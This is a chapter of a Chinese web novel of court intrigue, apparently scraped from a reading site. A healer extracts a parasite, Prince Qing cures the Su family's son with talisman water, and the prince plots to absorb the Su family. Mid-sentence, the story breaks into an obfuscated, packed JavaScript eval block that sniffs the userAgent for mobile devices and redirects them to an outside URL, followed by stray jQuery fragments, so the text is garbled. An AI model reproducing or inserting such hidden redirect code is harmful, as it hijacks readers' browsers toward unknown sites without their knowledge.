58. “苏家是裴家的囊中之物”

作品:《重生和绿茶妹妹换夫,但好命夫人还是我

    “好了。”阿路用干净的白布绕着锦雀的手腕缠了一圈包住伤口。


    “接下来几天内饮食清淡点,早睡早起。”


    太快了,还没看清过程。


    沈瑶存疑:“这就结束了?”


    “嗯呢!”阿路把器具擦拭干净,一一收好。


    “原来排蛊之法,是直接划皮挑虫啊……”沈瑶悟了。


    “也不是。”阿路眼神示意沈瑶搭把手,两人合力把还晕睡的锦雀抬到床上休息。


    “南夷喂蛊虫入口,解法也是从口吐出。”


    “他们的秘法我知道皮毛,但具体的配解……嗯……邪门的很,我不想碰。”


    “左右把虫弄出来就成了。”


    沈瑶问:“如此……若将她带去医馆,告知方法,旁的大夫也可操作了?”


    阿路歪嘴,抬手从侧发摸到后脑勺,表情油腻的吹牛道:


    “那虫身窄短细小,不过毫厘尺寸,又是能动的活物。”


    “手腕侧处,动脉盘错,稍有差池,都会闹出人命。”


    “以针尖挑出之法,除了我,还有谁敢?”


    沈瑶配合着捧道:“是~多亏路神医,谢谢路神医……”


    “对了,有个病症要问问你。”


    “你说。”


    “若本来会说话的人,在经历了一些事情后,丧失了说话的能力,可有办法恢复?”


    “那声带可有受损呢?”


    “并无。”


    “智力神经可有影响?”


    沈瑶回忆百里桦的神态动作一番,厌恶气愤都真切自然,并不是痴傻之儿。


    她摇头:“也无。”


    “嗯……”阿路思索片刻,“那便是心病了。”


    “心病?”沈瑶问。


    “对。若声带无事,也无痴傻呆滞之征……常理是不影响说话的。”


    “但具体情况,还得望闻问切,长期观察。”


    “许是肝结气郁,心绪不畅,亦或是受了什么刺激,心里上有障碍。”


    “这个说不准的,可能哪一天重新受了新的刺激,就能重新开口说话了。”


    “也可能,就一辈子都说不了话了。”


    “还是得看个人的情况的。急不得,得徐徐图之。”


    阿路没再开玩笑,难得正色:“晓生,地方朝堂的消息我知晓的不如你广。”


    “可苏家和皇家牵连颇深,里外关系错综复杂,你婆婆和南夷又似有渊源……”


    “你与这些人物整日接触周旋,难保自己不陷入风波之中去。”


    “若行差踏错,可就万劫不复了……”


    沈瑶说:“我已入局,此时,回不了头了。”


    “平南王、儒风伯、镇西侯,他们的麻烦我能解决,苏家的,我肯定也行。”


    “你不必担心我,我肯定好好活着,有命等你来借钱的。”


    阿路不轻不重的锤了沈瑶一下:“坏丫头!你明知道我不在乎那些个铜臭味……”


    她叹了口气,从腰侧摸了瓶“百毒解”。


    “这里头就一颗,做起来可麻烦了,省着点用哈。”


    沈瑶想了想,接过。


    “阿路,谢谢你。”


    阿路摆摆手,让她别谢来谢去的。


    “这个小姑娘,你还是得防备着些昂。”阿路指了指躺着的锦雀。


    “这寺庙烧的是松子香,她若不是和寺庙里的人接触了很长时间,是不会沾染上味道的。”


    “她回来的时候提着食盒,是有意掩饰自己的行踪。”


    “瞒着你偷偷去和寺庙之人会面……不知有什么图谋在,你当心着点吧。”


    沈瑶沉吟,道:“好,我心里有数。”


    “嗯,多的也不废话了。我还赶着去西南挖灵芝,先走一步了。”


    阿路往门口走,她想到什么,又回头和沈瑶说:“朝堂我虽然帮不上什么大忙,儒风伯那小老头还欠我一个人情。”


    沈瑶跟着送了几步到门口。


    “若有需要,让福来的掌柜传信给我。”


    “走了,不用送了!”


    最后一句声音喊完,人也消失不见了。


    仿佛从来没有出现过似的。


    雨停了。


    雨后的空气格外清新。


    台阶下的长草上挂着露珠,一滴一滴,漏进了长着苔藓的圆台石头油光黑亮中心的凹陷,浅浅的聚了一洼。


    棕色皮毛的松树吱了一声,在湿润的泥土上踩出小小的脚印。


    再一溜烟,便跑的没影了。


    锦雀醒来,已是两个时辰之后了。


    当下人的多要值门守夜,兀的能躺在床上睡觉反倒不习惯。


    她揉了揉有些落枕的脖子,问站在门口晒太阳的沈瑶。


    “夫人,路神医走了吗?”


    沈瑶蹲在草丛里用指腹轻轻抚摸雨过天晴绽开的柔软花瓣。


    “嗯,昨晚就走了。”


    锦雀摁着自己的肩膀尝试转动脑袋。


    “为什么不留下她呢?多一个人帮忙不好吗?”


    沈瑶轻笑:“这遍地的小野花开的漂亮,可若摘下来,一天不到就死了。”


    “长在生养它的土壤里,才可一直芬芳啊……”


    “有的人的血液里流淌着风,只有四处漂泊内心才能平静,又怎能被拘束在一处呢?”


    锦雀听不懂。


    她歪着脑袋看东方高照的太阳,腾于山川之上,融于云霭之间。


    金光柔和,普洒世间。


    照亮近处的木草林树,草花叶枝。


    但太阳也并不是会照到每一个人身上的。


    苏煜伦那日行刺后,便在苏家一病不起了。


    一连躺了几日,都浑浑噩噩,半梦半醒。


    高烧不退。


    睡不安稳便罢了,一入梦,即是噩梦,呓语梦话喊救不断。


    又是念叨着“兄长”,又是念叨着“鬼魂害人”,“别找我索命”之类的。


    大夫请了一批又一批,迟迟不见好转。


    苏夫人见儿子受苦,哭的肝肠寸断。可眉梢眼角又有几分藏不住的愉悦。


    儿子虽吓破了胆。雨夜归家,血污泥泞沾身,神智稍显疯癫,但还是强撑着一丝清明,第一时间把苏煜琛死掉的消息说出来了。


    此事为上上大喜!


    苏夫人哭着露了笑,笑里又带着悲。


    大多时间还是守在儿子床前陪伴,但手脚利索的把苏家库房里的钱,分了一半给裴家去了。


    只让裴夫人管好自己的嘴,切勿把她知道的那个秘密说出去。


    又喜又忧之际,苏煜伦的情况好转了些。


    三皇子庆王不知从哪得来的消息,送来了卜道真人的驱鬼符水。


    裴逸辰带水前来,将庆王夸的赛比活菩萨。


    说只要这水一下肚,保准药到病除。


    苏夫人急的像热锅上的蚂蚁,也分不出心神想这其中利害,只能死马当活马医。


    殊不知,恩情来的这般凑巧,本就不对。


    何况,庆王与他们无亲无故。


    苏煜伦竟真就被那土道士给的水医


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14980759|158669||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    好了。


    说是再也没瞧见窗户上闪过的鬼影,和莫名多出来摆在床头的血茶了。


    鬼魂被驱走,精气神大好。


    苏煜伦跟着表哥裴逸辰去庆王府上拜谢时,庆王正用酒皿品饮鹿血。


    苏煜伦前些日子被血腥气吓得半死,此刻瞧见,也多有抵触。便不着痕迹的往裴逸辰身后缩了几步。


    庆王目光瞥见,也不生气。只大手一挥,让侍婢赐座看茶。


    苏煜伦这才看清,这男人随性恣意,光脚踩地,不拘泥礼节,倒和他想象中的皇家子女不同。


    生的一张风流相貌,眉眼骨骼比中原人深邃,眼瞳之色浅淡。


    身披一件华袍,也没穿里衣。锻炼痕迹明显的大片蜜色胸膛袒露在外。


    而那华袍上分明绣着四爪的凶蟒!


    四爪为蟒,五爪为龙。


    蟒袍独太子一人可着,庆王只是皇家亲王,此举乃是明晃晃的僭越!


    苏煜伦吓得冷汗直窜,悄悄拉了下裴逸辰的袖子。


    裴逸辰相比之下,显得老道许多,低声对他解释道:


    “庆王殿下的蟒袍是皇权特许,恩宠加身之荣。”


    苏煜伦闻之更觉荒谬。


    一朝一天子。


    又怎可有两位太子?


    不知便罢了,让他瞧见,岂不是要拉他入党派之斗?


    他越想越不自在。


    “苏二公子身体可大好了?”庆王随口一问。


    苏煜伦被突然点名,吓得站了起来。


    拱手作揖答:“多谢庆王殿下关心。若没有殿下的神药,我也不会如此快就能痊愈。”


    他拍拍手,门外的两个侍婢各端了一个锦盒进来。


    “这是我和家母的一点心意,以答殿下救命之恩!”


    盒子打开,里头躺着的是成色漂亮,形状规整的红珊瑚。


    夏朝以珊瑚为贵,颜色越鲜艳的品质越高。


    流通之中,更是被视作无价珍宝。


    庆王朝脚边给他按摩的奴才使了个眼色,后者上前收下了。


    还好没被为难,苏煜伦替自己捏了把汗。


    “二公子破费了啊……”庆王勾起唇角,像是礼貌,又像是讽笑。


    “殿下不嫌弃就好……”


    “我,我不通文墨,比不得裴表哥,不懂权政,怕惹殿下笑话……”


    “嗯……家母,家母也催促我早些回去,就不在此多做叨扰,额……恕在下先走一步。”


    庆王又饮了口鹿酒,“二公子和苏夫人感情甚好啊……”


    “这么乖乖听母亲的话,苏夫人,肯定很骄傲吧?”


    “既然你急着要走,那本王也不好留你了……”


    苏煜伦也不管对方是不是在嘲讽自己了。


    他得了庆王的准许,匆匆行了个礼,头也不回的跑了。


    也不管他表哥死活。


    待人走后,裴逸辰才问:“殿下就这么放他走了?”


    “不争取苏家的支持了?”


    庆王像听见什么好笑的话,不屑的哼了声:“区区庶子……能有什么用处?”


    “你看他那样子,一个怂包鼠辈,能成什么事……”


    “哪里比得上裴兄你呢?”他看向裴逸辰,笑的暗含深意。


    “只当震慑一下他们罢了,苏煜琛若是倒台了,苏家,不就是裴家的囊中之物了吗……”


    “苏家这对母子不一定要为我所用,但要让他们知道自己的主子是谁……”


    “兵部最近空了个位子出来,裴兄可有兴趣啊?”